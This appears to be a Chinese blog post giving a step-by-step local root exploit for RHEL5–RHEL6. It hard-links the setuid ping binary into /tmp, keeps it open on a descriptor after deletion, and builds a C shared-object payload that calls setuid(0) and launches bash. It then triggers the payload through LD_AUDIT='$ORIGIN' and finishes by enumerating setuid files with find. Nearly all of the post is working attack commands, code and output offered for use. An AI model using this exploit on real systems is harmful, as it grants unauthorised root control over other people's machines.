利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限

提权:利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限


RHEL5-RHEL6下面都可以实现,root的UID是零


创建一个普通用户
useradd andy


切换到andy用户
su - andy


查看当前用户是谁
whoami


查看tmp目录权限
[andy@bogon tmp]$ ll -d /tmp
drwxrwxrwt. 15 root root 4096 6月  29 14:08 /tmp


切换到tmp目录
cd /tmp


创建一个exploit目录
mkdir exploit


查看ping命令带suid权限
ll /bin/ping


创建target文件硬链接
ln /bin/ping /tmp/exploit/target


查看target文件权限
ll /tmp/exploit/target


把target文件加载到内存中
exec 3< /tmp/exploit/target


查看target在内存中的情况
"ll /proc/$$/fd/3"


删除target文件
rm -rf /tmp/exploit/


查看target在内存中的情况是删除状态

"ll /proc/$$/fd/3"



创建一个c语言代码
[andy@bogon tmp]$ vim payload.c 


void __attribute__((constructor)) init()  // 两个下划线
{
     setuid(0);
     system("/bin/bash");
}




利用gcc编译这段代码
[andy@bogon tmp]$ gcc -W -fPIC -shared -o /tmp/exploit payload.c


提升到root权限
[andy@bogon tmp]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination


执行完,查看当前会话已经是root
[root@localhost ~]# 


附:通过以下的命令可以找到系统上所有的设置了suid的文件:


[root@localhost /]# find / -perm -04000 -type f -ls
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值